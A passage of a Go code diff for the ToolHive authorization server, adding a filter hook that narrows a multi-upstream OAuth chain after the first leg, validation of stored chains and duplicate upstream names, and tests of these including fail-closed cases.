(302). + assert.Equal(t, http.StatusSeeOther, rec.Code, "filtered chain should complete at the first upstream") + location := rec.Header().Get("Location") + assert.Contains(t, location, testAuthRedirectURI, "redirect should be to the client's redirect_uri") + assert.Contains(t, location, "code=", "redirect should include an authorization code") + assert.NotContains(t, location, "error=", "redirect should not contain an error") + + // The filter was consulted exactly once, with the non-first upstream names. + assert.Equal(t, 1, filter.calls, "filter should be consulted once on the first leg") + assert.Equal(t, []string{"provider-2"}, filter.capturedArgs, "filter receives non-first upstreams") + + // provider-1's code was exchanged and no second-leg pending was created. + assert.Equal(t, "provider1-code", provider1.capturedCode) + for state, p := range storState.pendingAuths { + assert.NotEqualf(t, "provider-2", p.UpstreamProviderName, + "no second-leg pending should be created (state %q)", state) + } +} + +func TestCallbackHandler_TwoUpstreams_FilterKeepsSecondLeg_CarriesChain(t *testing.T) { + t.Parallel() + filter := &stubUpstreamFilter{keep: []string{"provider-2"}} + handler, storState, _, _ := multiUpstreamTestSetup(t, WithUpstreamFilter(filter)) + + sessionID := "chain-session-filter-keep" + firstLegState := "filter-keep-first-leg-state" + pending := &storage.PendingAuthorization{ + ClientID: testAuthClientID, + RedirectURI: testAuthRedirectURI, + State: "client-state-keep", + PKCEChallenge: "client-challenge", + PKCEMethod: "S256", + Scopes: []string{"openid", "profile"}, + InternalState: firstLegState, + UpstreamPKCEVerifier: "filter-keep-verifier-1234567890123456789012", + UpstreamNonce: "filter-keep-nonce", + UpstreamProviderName: "provider-1", + SessionID: sessionID, + CreatedAt: time.Now(), + } + storState.pendingAuths[firstLegState] = pending + + req := httptest.NewRequest(http.MethodGet, "/oauth/callback?code=provider1-code&state="+firstLegState, nil) + rec := httptest.NewRecorder() + handler.CallbackHandler(rec, req) + + // Kept provider-2, so the chain continues onward. + assert.Equal(t, http.StatusFound, rec.Code, "kept second leg should redirect onward") + assert.Contains(t, rec.Header().Get("Location"), "https://idp2.example.com/authorize") + assert.Equal(t, 1, filter.calls, "filter should be consulted once on the first leg") + + // The effective chain must be carried into the next leg's pending so the + // filter is not re-run per leg. + var nextPending *storage.PendingAuthorization + for state, p := range storState.pendingAuths { + if state != firstLegState && p.UpstreamProviderName == "provider-2" { + nextPending = p + break + } + } + require.NotNil(t, nextPending, "a second-leg pending should exist") + assert.Equal(t, []string{"provider-1", "provider-2"}, nextPending.ChainUpstreams, + "the computed chain should be carried forward") +} + +func TestCallbackHandler_FilterError_FailsAuthorization(t *testing.T) { + t.Parallel() + filter := &stubUpstreamFilter{err: errors.New("filter unavailable")} + handler, storState, _, _ := multiUpstreamTestSetup(t, WithUpstreamFilter(filter)) + + sessionID := "chain-session-filter-error" + firstLegState := "filter-error-first-leg-state" + pending := &storage.PendingAuthorization{ + ClientID: testAuthClientID, + RedirectURI: testAuthRedirectURI, + State: "client-state-error", + PKCEChallenge: "client-challenge", + PKCEMethod: "S256", + Scopes: []string{"openid", "profile"}, + InternalState: firstLegState, + UpstreamPKCEVerifier: "filter-error-verifier-123456789012345678901", + UpstreamNonce: "filter-error-nonce", + UpstreamProviderName: "provider-1", + SessionID: sessionID, + CreatedAt: time.Now(), + } + storState.pendingAuths[firstLegState] = pending + + req := httptest.NewRequest(http.MethodGet, "/oauth/callback?code=provider1-code&state="+firstLegState, nil) + rec := httptest.NewRecorder() + handler.CallbackHandler(rec, req) + + // A filter error fails the authorization cleanly with a server error — no + // silent fallback to walking every upstream. + assert.Equal(t, http.StatusSeeOther, rec.Code, "filter error should produce a fosite error redirect") + location := rec.Header().Get("Location") + assert.Contains(t, location, "error=server_error", "should surface a server error") + assert.Contains(t, location, "state=client-state-error", "should preserve client state") + assert.Equal(t, 1, filter.calls) + + // provider-1's already-stored tokens are cleaned up. + for key := range storState.upstreamTokens { + assert.Failf(t, "upstream tokens should be cleaned up", "found leftover token %q", key) + } +} + +func TestCallbackHandler_SecondLeg_ReusesChain_DoesNotReRunFilter(t *testing.T) { + t.Parallel() + // A filter that errors if consulted — proving the second leg reuses the chain + // from the pending authorization rather than re-running the filter. + filter := &stubUpstreamFilter{err: errors.New("must not be called on a subsequent leg")} + handler, storState, _, provider2 := multiUpstreamTestSetup(t, WithUpstreamFilter(filter)) + + sessionID := "chain-session-reuse" + key1 := sessionID + ":provider-1" + storState.upstreamTokens[key1] = &storage.UpstreamTokens{ + ProviderID: "provider-1", + AccessToken: "provider1-access-token", + ExpiresAt: time.Now().Add(time.Hour), + ClientID: testAuthClientID, + UserID: "resolved-user-id-from-leg1", + } + + secondLegState := "reuse-second-leg-state" + pending := &storage.PendingAuthorization{ + ClientID: testAuthClientID, + RedirectURI: testAuthRedirectURI, + State: "client-state-reuse", + PKCEChallenge: "client-challenge", + PKCEMethod: "S256", + Scopes: []string{"openid", "profile"}, + InternalState: secondLegState, + UpstreamPKCEVerifier: "reuse-verifier-98765432109876543210987654", + UpstreamNonce: "reuse-nonce", + UpstreamProviderName: "provider-2", + SessionID: sessionID, + ChainUpstreams: []string{"provider-1", "provider-2"}, // computed on the first leg + ResolvedUserID: "resolved-user-id-from-leg1", + ResolvedUserName: "First Leg User", + ResolvedUserEmail: "firstleg@example.com", + CreatedAt: time.Now(), + } + storState.pendingAuths[secondLegState] = pending + + req := httptest.NewRequest(http.MethodGet, "/oauth/callback?code=provider2-code&state="+secondLegState, nil) + rec := httptest.NewRecorder() + handler.CallbackHandler(rec, req) + + assert.Equal(t, http.StatusSeeOther, rec.Code, "second leg should issue the authorization code") + assert.Contains(t, rec.Header().Get("Location"), "code=") + assert.Equal(t, 0, filter.calls, "filter must not be re-run on a subsequent leg") + assert.Equal(t, "provider2-code", provider2.capturedCode) +} + +func TestCallbackHandler_Filter_ReceivesFirstUpstreamIdentity(t *testing.T) { + t.Parallel() + filter := &stubUpstreamFilter{keep: []string{"provider-2"}} + handler, storState, provider1, _ := multiUpstreamTestSetup(t, WithUpstreamFilter(filter)) + + // Model an OIDC first upstream that resolved ID-token claims an authz filter + // would key on. (The real OIDC provider's capture of these claims is covered by + // TestOIDCProviderImpl_ExchangeCodeForIdentity/"captures ID token claims…"; this + // test covers the callback -> filter propagation.) + provider1.providerType = upstream.ProviderTypeOIDC + provider1.exchangeResult.Claims = map[string]any{ + "sub": "user-from-provider1", + "email": "firstleg@example.com", + "groups": []any{"engineering", "admins"}, + } + + sessionID := "chain-session-filter-identity" + firstLegState := "filter-identity-first-leg-state" + pending := &storage.PendingAuthorization{ + ClientID: testAuthClientID, + RedirectURI: testAuthRedirectURI, + State: "client-state-identity", + PKCEChallenge: "client-challenge", + PKCEMethod: "S256", + Scopes: []string{"openid", "profile"}, + InternalState: firstLegState, + UpstreamPKCEVerifier: "filter-identity-verifier-123456789012345678", + UpstreamNonce: "filter-identity-nonce", + UpstreamProviderName: "provider-1", + SessionID: sessionID, + CreatedAt: time.Now(), + } + storState.pendingAuths[firstLegState] = pending + + req := httptest.NewRequest(http.MethodGet, "/oauth/callback?code=provider1-code&state="+firstLegState, nil) + rec := httptest.NewRecorder() + handler.CallbackHandler(rec, req) + + // Kept provider-2, so the chain continues onward (proving the filter ran). + require.Equal(t, http.StatusFound, rec.Code, "kept second leg should redirect onward") + require.Equal(t, 1, filter.calls, "filter should be consulted once on the first leg") + + // The filter received the first upstream's resolved identity. + assert.Equal(t, "user-from-provider1", filter.capturedPrincipal.Subject, + "principal.Subject must be the claim-mapped upstream subject") + assert.Equal(t, "firstleg@example.com", filter.capturedPrincipal.Email, + "principal.Email must come from the first upstream") + assert.Equal(t, map[string]any{ + "sub": "user-from-provider1", + "email": "firstleg@example.com", + "groups": []any{"engineering", "admins"}, + }, filter.capturedPrincipal.Claims, "principal.Claims must carry the first upstream's claims") + + // principal.PlatformUserID is the canonical (resolved) ToolHive user: non-empty + // and distinct from the raw upstream subject. + assert.NotEmpty(t, filter.capturedPrincipal.PlatformUserID, "platform user ID must be populated") + assert.NotEqual(t, "user-from-provider1", filter.capturedPrincipal.PlatformUserID, + "platform user ID is the canonical ToolHive user, not the raw upstream subject") +} + +func TestCallbackHandler_SubsequentLeg_MissingChain_FailsClosed(t *testing.T) { + t.Parallel() + handler, storState, _, _ := multiUpstreamTestSetup(t) + + sessionID := "stale-pending-session" + const leg1User = "resolved-user-id-from-leg1" + + // First leg already completed. + storState.upstreamTokens[sessionID+":provider-1"] = &storage.UpstreamTokens{ + ProviderID: "provider-1", + AccessToken: "p1-at", + ExpiresAt: time.Now().Add(time.Hour), + ClientID: testAuthClientID, + UserID: leg1User, + } + + // A subsequent-leg pending that predates ChainUpstreams: ResolvedUserID is set + // (not a first leg) but ChainUpstreams is empty, as an older build would have + // written it mid-rollout. + secondLegState := "stale-pending-state" + storState.pendingAuths[secondLegState] = &storage.PendingAuthorization{ + ClientID: testAuthClientID, + RedirectURI: testAuthRedirectURI, + State: "client-original-state", + PKCEChallenge: "client-challenge", + PKCEMethod: "S256", + Scopes: []string{"openid"}, + InternalState: secondLegState, + UpstreamPKCEVerifier: "stale-verifier-1234567890123456789012345678", + UpstreamNonce: "stale-nonce", + UpstreamProviderName: "provider-2", + SessionID: sessionID, + ResolvedUserID: leg1User, + ResolvedUserName: "First Leg User", + ResolvedUserEmail: "firstleg@example.com", + // ChainUpstreams intentionally empty (stale pending). + CreatedAt: time.Now(), + } + + req := httptest.NewRequest(http.MethodGet, "/oauth/callback?code=provider2-code&state="+secondLegState, nil) + rec := httptest.NewRecorder() + handler.CallbackHandler(rec, req) + + // The stale pending is rejected (fail closed) rather than recomputing the chain + // against this later leg's context. + assert.Equal(t, http.StatusSeeOther, rec.Code, "stale pending should produce a fosite error redirect") + location := rec.Header().Get("Location") + assert.Contains(t, location, "error=server_error") + assert.Contains(t, location, "state=client-original-state") + + // Upstream tokens for the session are cleaned up. + for key := range storState.upstreamTokens { + assert.Failf(t, "upstream tokens should be cleaned up", "found leftover token %q", key) + } +} + func TestCallbackHandler_SingleLeg_IssuesCodeWithoutChaining(t *testing.T) { t.Parallel() handler, storState, provider1, _ := multiUpstreamTestSetup(t) @@ -607,6 +907,7 @@ func TestCallbackHandler_TwoUpstreams_IdentityFromFirstLeg(t *testing.T) { UpstreamNonce: "identity-test-nonce", UpstreamProviderName: "provider-2", SessionID: sessionID, + ChainUpstreams: []string{"provider-1", "provider-2"}, ResolvedUserID: firstLegUserID, ResolvedUserName: "First Leg Name", ResolvedUserEmail: "firstleg@example.com", @@ -667,6 +968,7 @@ func TestCallbackHandler_TwoUpstreams_IdentityMismatch_RejectsChain(t *testing.T UpstreamNonce: "mismatch-nonce", UpstreamProviderName: "provider-2", SessionID: sessionID, + ChainUpstreams: []string{"provider-1", "provider-2"}, ResolvedUserID: "correct-user-id", // does NOT match provider-1's UserID above ResolvedUserName: "Correct User", ResolvedUserEmail: "correct@example.com", @@ -1041,9 +1343,11 @@ func TestCallbackHandler_RefreshTokenCarryForward(t *testing.T) { // Synthetic carry-forward only applies on a subsequent leg, where the // stable user identity is carried from the first leg (so the prior row // is found by UserID) while the provider's own subject rotates per flow. + // A subsequent leg carries the effective chain computed on the first leg. pendingAuth.ResolvedUserID = existingUserID pendingAuth.ResolvedUserName = "First Leg User" pendingAuth.ResolvedUserEmail = "firstleg@example.com" + pendingAuth.ChainUpstreams = []string{providerName} } storState.pendingAuths[internalState] = pendingAuth @@ -1146,6 +1450,7 @@ func TestCallbackHandler_PlacesPlatformUserInContext_OnChainRead(t *testing.T) { UpstreamNonce: "second-leg-nonce", UpstreamProviderName: "provider-2", SessionID: sessionID, + ChainUpstreams: []string{"provider-1", "provider-2"}, ResolvedUserID: leg1User, ResolvedUserName: "First Leg User", ResolvedUserEmail: "firstleg@example.com", diff --git a/pkg/authserver/server/handlers/handler.go b/pkg/authserver/server/handlers/handler.go index b971554b02..8a54204bb6 100644 --- a/pkg/authserver/server/handlers/handler.go +++ b/pkg/authserver/server/handlers/handler.go @@ -24,6 +24,7 @@ import ( "github.com/go-chi/chi/v5" "github.com/ory/fosite" + "github.com/stacklok/toolhive/pkg/auth" "github.com/stacklok/toolhive/pkg/authserver/server" "github.com/stacklok/toolhive/pkg/authserver/storage" "github.com/stacklok/toolhive/pkg/authserver/upstream" @@ -47,6 +48,55 @@ type Handler struct { // expired upstream leg during chain evaluation instead of re-prompting. Nil // when no refresher is configured; an expired leg is then treated as missing. refresher storage.UpstreamTokenRefresher + // filter, when set, narrows the authorization chain to a subset of the + // configured upstreams once the first leg resolves. Nil when no filter is + // configured; the chain then walks all configured upstreams as before. + filter UpstreamFilter +} + +// UpstreamFilter narrows the authorization chain to a subset of the configured +// upstreams, keyed on the identity established by the first upstream. It is +// consulted exactly once per authorization, in the callback handler, after the +// first upstream (upstreams[0]) resolves. The first upstream is always required: +// it is never passed to the filter and cannot be removed by it. +// +// FilterUpstreams receives, in order: +// - ctx: the request context of the first leg's callback. +// - principal: the upstream-derived identity for authorization decisions. Its +// PlatformUserID is the canonical ToolHive user ID (the stable internal +// identifier); Subject is the claim-mapped upstream subject (OIDC SubjectClaim, +// or "sub"); Claims carries the ID-token/userinfo claims; Name and Email are +// populated when the upstream provides them. It carries NO tokens — it is the +// credential-free auth.PrincipalInfo projection. The filter MUST treat +// principal (including its Claims map) as read-only. +// - configured: the names of the non-first configured upstreams, in configured +// order. +// +// Claims contract: values are untyped and come straight from the upstream IdP, so +// implementations MUST assert types defensively (e.g. comma-ok on map/slice +// access) — a malformed IdP response must not be able to panic the filter. Claims +// is nil not only for OAuth2 identityFromToken / synthetic upstreams (which resolve +// no structured claim set) but also on a transient OIDC claims-extraction failure, +// so a security-relevant filter MUST treat nil/absent claims as fail-closed. Note +// that the `aud` claim, when present, is the upstream IdP's client_id — not this +// authorization server. +// +// It returns the subset to keep. The handler preserves configured order and +// ignores any returned name that is not one of the non-first configured upstreams, +// so the filter cannot reorder the chain or introduce unknown providers. A +// returned error fails the authorization with a server error — the handler never +// falls back to walking every upstream on error. +// +// The "first-leg identity" guarantee holds even across a rolling upgrade of a +// persistent backend: a subsequent-leg pending that lacks a computed chain (e.g. +// one written before this feature existed) is rejected and forces a fresh +// authorization, rather than re-running the filter against a later leg. +type UpstreamFilter interface { + FilterUpstreams( + ctx context.Context, + principal auth.PrincipalInfo, + configured []string, + ) ([]string, error) } // Option configures optional Handler behavior at construction time. @@ -62,14 +112,27 @@ func WithUpstreamRefresher(r storage.UpstreamTokenRefresher) Option { } } +// WithUpstreamFilter injects a filter that narrows the authorization chain to a +// subset of the configured upstreams once the first leg resolves. When unset, the +// handler walks all configured upstreams — the behavior before this option +// existed. See UpstreamFilter for the contract. +func WithUpstreamFilter(f UpstreamFilter) Option { + return func(h *Handler) { + h.filter = f + } +} + // NewHandler creates a new Handler with the given dependencies. // upstreams defines the ordered sequence of upstream providers consulted // during multi-upstream authorization flows (e.g., sequential token acquisition). // // Returns an error if config is nil, if config's embedded *fosite.Config is -// nil, if upstreams is empty, or if any entry has an empty name or nil -// provider. Catching misconfiguration here is far easier to diagnose than -// a nil-deref panic deep inside an HTTP handler at request time. +// nil, if upstreams is empty, or if any entry has an empty name, a nil provider, +// or a duplicate name. Upstream names must be unique: upstreamByName returns the +// first match, tokens are keyed by name, and the authorization chain is keyed by +// name — a duplicate would silently shadow a provider. Catching misconfiguration +// here is far easier to diagnose than a nil-deref panic or a shadowed provider +// deep inside an HTTP handler at request time. func NewHandler( provider fosite.OAuth2Provider, config *server.AuthorizationServerConfig, @@ -84,6 +147,7 @@ func NewHandler( if len(upstreams) == 0 { return nil, fmt.Errorf("handlers: upstreams must not be empty") } + seen := make(map[string]struct{}, len(upstreams)) for _, u := range upstreams { if u.Name == "" { return nil, fmt.Errorf("handlers: upstream entry has empty name") @@ -91,6 +155,10 @@ func NewHandler( if u.Provider == nil { return nil, fmt.Errorf("handlers: upstream %q has nil provider", u.Name) } + if _, dup := seen[u.Name]; dup { + return nil, fmt.Errorf("handlers: duplicate upstream name %q", u.Name) + } + seen[u.Name] = struct{}{} } h := &Handler{ provider: provider, @@ -141,7 +209,10 @@ func (h *Handler) WellKnownRoutes(r chi.Router) { // nextMissingUpstream returns the name of the next upstream provider in the // authorization chain that the user must (re-)authenticate with for this session. -// Returns empty string if all upstreams are satisfied, or an error if the storage +// It walks the provided chain — the effective, possibly filtered, ordered set of +// upstream names for this authorization (see computeChain) — rather than the raw +// configured list, so a leg the filter dropped is never prompted for. Returns +// empty string if all legs in the chain are satisfied, or an error if the storage // lookup fails. // // A leg is satisfied when it has a stored token that is live (or asserts no @@ -151,29 +222,151 @@ func (h *Handler) WellKnownRoutes(r chi.Router) { // succeeds. If refresh is impossible or fails, the leg is reported as missing so // the user is re-prompted up front, rather than the stale token surfacing as a // runtime auth error later at MCP-request token-swap time. -func (h *Handler) nextMissingUpstream(ctx context.Context, sessionID string) (string, error) { +func (h *Handler) nextMissingUpstream(ctx context.Context, sessionID string, chain []string) (string, error) { stored, err := h.storage.GetAllUpstreamTokens(ctx, sessionID) if err != nil { return "", fmt.Errorf("failed to check upstream token state: %w", err) } - for _, u := range h.upstreams { - tokens, ok := stored[u.Name] + for _, name := range chain { + tokens, ok := stored[name] if !ok || tokens == nil { // No token stored for this leg — prompt. - return u.Name, nil + return name, nil } // A live token (or one with no asserted expiry) satisfies the leg. if tokens.ExpiresAt.IsZero() || !tokens.IsExpired(time.Now()) { continue } // Expired — attempt a transparent refresh; prompt now if it can't be done. - if !h.refreshExpiredLeg(ctx, sessionID, u.Name, tokens) { - return u.Name, nil + if !h.refreshExpiredLeg(ctx, sessionID, name, tokens) { + return name, nil } } return "", nil } +// computeChain returns the ordered, effective set of upstream names this +// authorization must walk. The first configured upstream always leads the chain +// and is never filtered out. When no filter is configured, the chain is the full +// configured list in order (the behavior before the filter hook existed). When a +// filter is configured, it is consulted with the names of the non-first upstreams +// (in configured order) and the chain becomes the first upstream plus the kept +// subset. Configured order is preserved and any returned name that is not a +// non-first configured upstream is ignored, so the filter can only narrow — never +// reorder or extend — the chain. +// +// A filter error is returned to the caller so the authorization fails cleanly; it +// never silently falls back to walking every upstream. +// +// principal is the first upstream's resolved identity, passed through to the filter +// (see UpstreamFilter); it is unused when no filter is configured. +func (h *Handler) computeChain(ctx context.Context, principal auth.PrincipalInfo) ([]string, error) { + chain := []string{h.upstreams[0].Name} + rest := h.upstreams[1:] + if len(rest) == 0 { + return chain, nil + } + + restNames := make([]string, len(rest)) + for i := range rest { + restNames[i] = rest[i].Name + } + + if h.filter == nil { + return append(chain, restNames...), nil + } + + keep, err := h.filter.FilterUpstreams(ctx, principal, restNames) + if err != nil { + return nil, fmt.Errorf("upstream filter failed: %w", err) + } + + keepSet := make(map[string]struct{}, len(keep)) + for _, name := range keep { + keepSet[name] = struct{}{} + } + // Iterate configured order (not the filter's return order) so the chain + // preserves the operator-defined sequence and silently drops any name the + // filter returned that is not a non-first configured upstream. + for i := range rest { + if _, ok := keepSet[rest[i].Name]; ok { + chain = append(chain, rest[i].Name) + } + } + return chain, nil +} + +// resolveChain returns the effective upstream chain for the leg that just +// completed. A true first leg — identified by an as-yet-unresolved user +// (pending.ResolvedUserID == "") — computes the chain now, consulting the optional +// filter with this leg's request context. A subsequent leg reuses the chain the +// first leg carried forward in the pending authorization, after validating it +// against the configured upstreams. +// +// A subsequent leg whose pending carries no chain (e.g. one written before the +// ChainUpstreams field existed, a possible rolling-upgrade window on a persistent +// backend) is a hard error rather than a silent recompute: the filter's contract +// is to run once, with the first leg's context, so recomputing here with a later +// leg's context could narrow the chain against the wrong request. Failing closed +// forces a fresh authorization that starts cleanly at the first leg. +// +// principal is the identity resolved by the leg that just completed; it is passed +// to computeChain (and thus the filter) only on the first leg, where it reflects +// the identity provider. Subsequent legs reuse the stored chain and ignore it. +func (h *Handler) resolveChain( + ctx context.Context, + pending *storage.PendingAuthorization, + principal auth.PrincipalInfo, +) ([]string, error) { + if pending.ResolvedUserID == "" { + // True first leg — compute with this (the first) leg's request context. + return h.computeChain(ctx, principal) + } + if len(pending.ChainUpstreams) == 0 { + return nil, fmt.Errorf("subsequent chain leg is missing its computed upstream chain (stale pending authorization)") + } + if err := h.validateChain(pending.ChainUpstreams); err != nil { + return nil, fmt.Errorf("stored upstream chain is invalid: %w", err) + } + return pending.ChainUpstreams, nil +} + +// validateChain rejects an upstream chain loaded from storage that does not agree +// with the configured upstreams. A valid chain is a non-empty, in-order, +// duplicate-free subsequence of the configured upstreams led by the required +// first upstream. This guards the reuse path against a corrupt or tampered +// PendingAuthorization row shrinking or reordering an in-flight chain to skip legs +// — which would also silently disable the cross-leg identity check, since +// verifyChainIdentity is a no-op for a single-element chain. +// +// Note: this validates that each name is currently configured, not that the name +// still points at the same provider it did when the chain was computed. A name +// rebound to a different IdP mid-flight (a rolling config change) still validates; +// the frozen subject and the pending TTL bound that exposure. +func (h *Handler) validateChain(chain []string) error { + if len(chain) == 0 { + return fmt.Errorf("chain is empty") + } + if chain[0] != h.upstreams[0].Name { + return fmt.Errorf("chain must lead with the first configured upstream %q, got %q", + h.upstreams[0].Name, chain[0]) + } + // Walk both, advancing the config cursor past each match. A name that never + // matches — unconfigured, out of order, or a duplicate of an already-consumed + // entry — is rejected, so the stored chain is a faithful narrowing of the config. + ci := 0 + for _, name := range chain { + for ci < len(h.upstreams) && h.upstreams[ci].Name != name { + ci++ + } + if ci >= len(h.upstreams) { + return fmt.Errorf("chain entry %q is unconfigured, out of order, or duplicated", name) + } + ci++ // consume the matched upstream so it cannot be reused + } + return nil +} + // refreshExpiredLeg attempts to refresh an expired upstream token for one chain // leg. It returns true when the leg can be treated as authenticated (refresh // succeeded) and false when the user must be re-prompted: no refresher configured, diff --git a/pkg/authserver/server/handlers/handler_chain_test.go b/pkg/authserver/server/handlers/handler_chain_test.go index 114a8547ed..ba8abf59ff 100644 --- a/pkg/authserver/server/handlers/handler_chain_test.go +++ b/pkg/authserver/server/handlers/handler_chain_test.go @@ -17,6 +17,7 @@ import ( "github.com/stretchr/testify/require" "go.uber.org/mock/gomock" + "github.com/stacklok/toolhive/pkg/auth" "github.com/stacklok/toolhive/pkg/authserver/server" servercrypto "github.com/stacklok/toolhive/pkg/authserver/server/crypto" "github.com/stacklok/toolhive/pkg/authserver/storage" @@ -24,6 +25,228 @@ import ( "github.com/stacklok/toolhive/pkg/authserver/upstream" ) +// twoUpstreamChain is the effective chain for multiUpstreamTestSetup's two +// configured providers, in configured order. +var twoUpstreamChain = []string{"provider-1", "provider-2"} + +// stubUpstreamFilter is a hand-written test double for UpstreamFilter, mirroring +// the mockIDPProvider pattern used elsewhere in this package. It records how many +// times it was called and the arguments it was passed (the non-first upstream +// names and the resolved principal), and returns a canned keep set or error. +type stubUpstreamFilter struct { + keep []string + err error + calls int + capturedArgs []string + capturedPrincipal auth.PrincipalInfo +} + +func (f *stubUpstreamFilter) FilterUpstreams( + _ context.Context, + principal auth.PrincipalInfo, + configured []string, +) ([]string, error) { + f.calls++ + f.capturedArgs = configured + f.capturedPrincipal = principal + if f.err != nil { + return nil, f.err + } + return f.keep, nil +} + +// newChainTestHandler builds a Handler over upstreams named after the given +// slice (each backed by a throwaway OAuth2 mock provider), forwarding any +// Options. It exists so chain-resolution tests can control the exact number and +// order of configured upstreams. +func newChainTestHandler(t *testing.T, names []string, opts ...Option) *Handler { + t.Helper() + + provider, oauth2Config, stor, _ := baseTestSetup(t) + upstreams := make([]NamedUpstream, len(names)) + for i, n := range names { + upstreams[i] = NamedUpstream{Name: n, Provider: &mockIDPProvider{providerType: upstream.ProviderTypeOAuth2}} + } + handler, err := NewHandler(provider, oauth2Config, stor, upstreams, opts...) + require.NoError(t, err) + return handler +} + +func TestComputeChain(t *testing.T) { + t.Parallel() + + tests := []struct { + name string + upstreams []string + filter *stubUpstreamFilter + want []string + wantErr bool + wantCalls int + wantFilterIn []string + }{ + { + name: "no filter walks all configured upstreams in order", + upstreams: []string{"provider-1", "provider-2", "provider-3"}, + filter: nil, + want: []string{"provider-1", "provider-2", "provider-3"}, + }, + { + name: "single upstream does not consult filter", + upstreams: []string{"provider-1"}, + filter: &stubUpstreamFilter{keep: []string{"anything"}}, + want: []string{"provider-1"}, + wantCalls: 0, + }, + { + name: "filter keeps a subset, first upstream always leads", + upstreams: []string{"provider-1", "provider-2", "provider-3"}, + filter: &stubUpstreamFilter{keep: []string{"provider-3"}}, + want: []string{"provider-1", "provider-3"}, + wantCalls: 1, + wantFilterIn: []string{"provider-2", "provider-3"}, + }, + { + name: "filter keeps none leaves only the first upstream", + upstreams: []string{"provider-1", "provider-2", "provider-3"}, + filter: &stubUpstreamFilter{keep: []string{}}, + want: []string{"provider-1"}, + wantCalls: 1, + wantFilterIn: []string{"provider-2", "provider-3"}, + }, + { + name: "returned order is ignored, configured order is preserved", + upstreams: []string{"provider-1", "provider-2", "provider-3"}, + filter: &stubUpstreamFilter{keep: []string{"provider-3", "provider-2"}}, + want: []string{"provider-1", "provider-2", "provider-3"}, + wantCalls: 1, + }, + { + name: "unknown and first-upstream names in keep set are ignored", + upstreams: []string{"provider-1", "provider-2"}, + filter: &stubUpstreamFilter{keep: []string{"provider-1", "does-not-exist", "provider-2"}}, + want: []string{"provider-1", "provider-2"}, + wantCalls: 1, + }, + { + name: "filter error is propagated, no fallback to full walk", + upstreams: []string{"provider-1", "provider-2"}, + filter: &stubUpstreamFilter{err: errors.New("filter boom")}, + wantErr: true, + wantCalls: 1, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + + var opts []Option + if tt.filter != nil { + opts = append(opts, WithUpstreamFilter(tt.filter)) + } + handler := newChainTestHandler(t, tt.upstreams, opts...) + + principal := auth.PrincipalInfo{ + PlatformUserID: "canonical-user-1", + Subject: "upstream-sub-1", + Email: "user@example.com", + Claims: map[string]any{"groups": []any{"admins"}}, + } + + got, err := handler.computeChain(context.Background(), principal) + if tt.wantErr { + require.Error(t, err) + assert.Nil(t, got) + } else { + require.NoError(t, err) + assert.Equal(t, tt.want, got) + } + if tt.filter != nil { + assert.Equal(t, tt.wantCalls, tt.filter.calls, "filter call count") + if tt.wantFilterIn != nil { + assert.Equal(t, tt.wantFilterIn, tt.filter.capturedArgs, + "filter must receive non-first configured upstreams in order") + } + if tt.wantCalls > 0 { + assert.Equal(t, principal, tt.filter.capturedPrincipal, + "filter must receive the resolved principal (platform user, subject + claims) verbatim") + } + } + }) + } +} + +func TestValidateChain(t *testing.T) { + t.Parallel() + + // Configured order is provider-1, provider-2, provider-3. + handler := newChainTestHandler(t, []string{"provider-1", "provider-2", "provider-3"}) + + tests := []struct { + name string + chain []string + wantErr string // substring to match; empty means no error expected + }{ + {name: "full configured chain", chain: []string{"provider-1", "provider-2", "provider-3"}}, + {name: "in-order subsequence", chain: []string{"provider-1", "provider-3"}}, + {name: "first upstream only", chain: []string{"provider-1"}}, + {name: "empty chain", chain: nil, wantErr: "chain is empty"}, + { + name: "wrong first upstream", chain: []string{"provider-2", "provider-3"}, + wantErr: "must lead with the first configured upstream", + }, + { + name: "unconfigured entry", chain: []string{"provider-1", "provider-x"}, + wantErr: "unconfigured, out of order, or duplicated", + }, + { + name: "out of order", chain: []string{"provider-1", "provider-3", "provider-2"}, + wantErr: "unconfigured, out of order, or duplicated", + }, + { + name: "duplicate first upstream", chain: []string{"provider-1", "provider-1"}, + wantErr: "unconfigured, out of order, or duplicated", + }, + { + name: "duplicate non-first upstream", chain: []string{"provider-1", "provider-2", "provider-2"}, + wantErr: "unconfigured, out of order, or duplicated", + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + + err := handler.validateChain(tt.chain) + if tt.wantErr == "" { + assert.NoError(t, err) + } else { + require.Error(t, err) + assert.ErrorContains(t, err, tt.wantErr) + } + }) + } +} + +// TestNextMissingUpstream_RespectsChainSubset verifies that a leg absent from the +// chain is never reported missing even when it has no stored token — the filter +// dropped it, so the walk must not prompt for it. +func TestNextMissingUpstream_RespectsChainSubset(t *testing.T) { + t.Parallel() + + handler, storState, _, _ := multiUpstreamTestSetup(t) + // provider-1 satisfied; provider-2 has no token but is not in the chain. + storState.upstreamTokens["test-session:provider-1"] = &storage.UpstreamTokens{ + ProviderID: "provider-1", + AccessToken: "tok-1", + ExpiresAt: time.Now().Add(time.Hour), + } + + got, err := handler.nextMissingUpstream(context.Background(), "test-session", []string{"provider-1"}) + require.NoError(t, err) + assert.Empty(t, got, "provider-2 is not in the chain, so it must not be prompted") +} + func TestNextMissingUpstream(t *testing.T) { t.Parallel() @@ -74,7 +297,7 @@ func TestNextMissingUpstream(t *testing.T) { handler, storState, _, _ := multiUpstreamTestSetup(t) tt.setupTokens(storState) - got, err := handler.nextMissingUpstream(context.Background(), "test-session") + got, err := handler.nextMissingUpstream(context.Background(), "test-session", twoUpstreamChain) require.NoError(t, err) assert.Equal(t, tt.want, got) }) @@ -167,7 +390,7 @@ func TestNextMissingUpstream_RefreshExpired(t *testing.T) { handler, storState, _, _ := multiUpstreamTestSetup(t, opts...) tt.setupTokens(storState) - got, err := handler.nextMissingUpstream(context.Background(), "test-session") + got, err := handler.nextMissingUpstream(context.Background(), "test-session", twoUpstreamChain) require.NoError(t, err) assert.Equal(t, tt.want, got) }) @@ -237,7 +460,7 @@ func TestNextMissingUpstream_StorageError(t *testing.T) { ) require.NoError(t, err) - got, err := handler.nextMissingUpstream(context.Background(), "test-session") + got, err := handler.nextMissingUpstream(context.Background(), "test-session", twoUpstreamChain) require.Error(t, err) assert.ErrorContains(t, err, "failed to check upstream token state") assert.ErrorIs(t, err, storageErr) diff --git a/pkg/authserver/storage/memory.go b/pkg/authserver/storage/memory.go index 1887b81a5b..639ad3dc23 100644 --- a/pkg/authserver/storage/memory.go +++ b/pkg/authserver/storage/memory.go @@ -965,6 +965,7 @@ func (s *MemoryStorage) 